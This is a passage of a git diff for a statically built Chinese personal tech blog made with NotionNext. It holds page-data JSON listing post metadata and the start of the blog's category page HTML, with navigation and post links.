,{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"guide"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/category.html b/category.html
index 35d2c0fd4..8a077383d 100644
--- a/category.html
+++ b/category.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category-e360d24a90d47a84.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="bg-white dark:bg-gray-700 py-10"><div class="dark:text-gray-200 mb-5"><i class="mr-4 fas fa-th"></i>Category<!-- -->:</div><div id="category-list" class="duration-200 flex flex-wrap"><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80"><i class="mr-4 fas fa-folder"></i>知行合一<!-- -->(<!-- -->1<!-- -->)</div><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB"><i class="mr-4 fas fa-folder"></i>技术分享<!-- -->(<!-- -->6<!-- -->)</div><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94"><i class="mr-4 fas 